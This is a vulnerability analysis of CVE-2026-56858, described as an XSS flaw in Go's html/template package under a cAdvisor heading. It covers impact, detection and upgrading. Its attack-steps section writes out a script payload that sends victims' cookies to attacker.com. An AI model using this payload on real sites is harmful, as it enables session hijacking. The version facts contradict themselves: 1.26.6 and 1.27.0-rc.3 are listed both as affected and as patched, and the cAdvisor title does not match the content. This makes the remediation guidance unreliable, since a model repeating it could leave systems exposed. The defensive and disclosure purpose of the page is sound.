CVE-2026-56858: 
cAdvisor vulnerability analysis and mitigation

CVE-2026-56858 is a Cross-Site Scripting (XSS) vulnerability in the Go standard library's html/template package. Pathological inputs can prematurely close an unescaped / character, allowing attacker-controlled data to inject arbitrary HTML or JavaScript content into rendered pages. The vulnerability affects Go versions prior to 1.25.13, 1.26.0–1.26.6, and 1.27.0–1.27.0-rc.3. It was published on August 13, 2026, with a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory, Red Hat Bugzilla).

The root cause is improper neutralization of user-controllable input during web page generation (CWE-79). Specifically, the html/template package fails to correctly handle pathological inputs containing unescaped / characters, allowing an attacker to break out of the expected template context and inject arbitrary content. The attack is network-based, requires no authentication or special privileges, but does require user interaction (e.g., a victim visiting a crafted page). The vulnerability is tracked upstream as Go issue #80435 and fixed via code change CL/807100 (GitHub Advisory, Red Hat Bugzilla).

Successful exploitation allows an unauthenticated attacker to inject arbitrary HTML and JavaScript that executes in the context of other users' browsers, resulting in low confidentiality and integrity impact with no availability impact. The changed scope indicates that the vulnerable component (the Go application) can affect resources beyond its own security boundary, such as the victim's browser session. Potential consequences include session hijacking, credential theft, and unauthorized actions performed on behalf of the victim user (GitHub Advisory).

There is no known public proof-of-concept exploit and no evidence of active in-the-wild exploitation as of the time of publication (GitHub Advisory). The NVD SSVC assessment classifies exploitation as "none" and the attack as non-automatable. The EPSS score is approximately 0.199–0.263%, placing it in the 18th percentile for exploitation likelihood within 30 days. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported.

1. Identify target application: Locate a web application built with Go's html/template package that renders user-supplied or externally influenced data, running on a vulnerable Go version (< 1.25.13, 1.26.0–1.26.6, or 1.27.0–1.27.0-rc.3).
2. Craft pathological input: Construct an input string containing a sequence that causes the template engine to prematurely close an unescaped / character, breaking out of the expected HTML context (e.g., injecting </ or similar sequences that confuse the parser).
3. Inject arbitrary content: Embed malicious HTML or JavaScript payload (e.g., <script>document.location='https://attacker.com/?c='+document.cookie</script>) within the crafted input so it is rendered as executable markup.
4. Deliver to victim: Distribute the crafted URL or content to a target user via phishing, a malicious link, or a stored injection point, causing the victim's browser to execute the injected script.
5. Achieve objective: Collect session tokens, perform actions on behalf of the victim, or pivot to further attacks using the stolen credentials or session (GitHub Advisory, Red Hat Bugzilla).

• Network: Unusual outbound HTTP requests from victim browsers to attacker-controlled domains following interaction with Go-based web applications; unexpected data exfiltration (e.g., cookie values) in query parameters of outbound requests.
• Logs: Web server access logs showing requests with unusual or encoded / sequences, HTML tags, or JavaScript fragments in input parameters; error logs from the Go application related to template rendering anomalies.
• Browser: Unexpected JavaScript execution or redirects when interacting with pages rendered by the vulnerable html/template package; browser console errors related to unexpected script execution.

Upgrade to a patched version of Go: 1.25.13 or later (for the 1.25.x branch), 1.26.6 or later (for the 1.26.x branch), or 1.27.0-rc.3 or later (for the 1.27.x pre-release branch). No configuration-based workaround is documented; upgrading is the recommended and only reliable remediation. Organizations should also audit applications using html/template with user-supplied data and consider implementing a Content Security Policy (CSP) as a defense-in-depth measure (GitHub Advisory, Red Hat Bugzilla).

The Go team announced the fix via the golang-announce mailing list, and the issue was also reported to the oss-security mailing list shortly after disclosure (golang-announce, oss-sec). Red Hat filed a high-severity bug report and engaged a large number of product security engineers to assess impact across their portfolio (Red Hat Bugzilla). SUSE and openSUSE issued security advisories and updates, and the Yocto Project security list also flagged the issue for embedded Linux maintainers.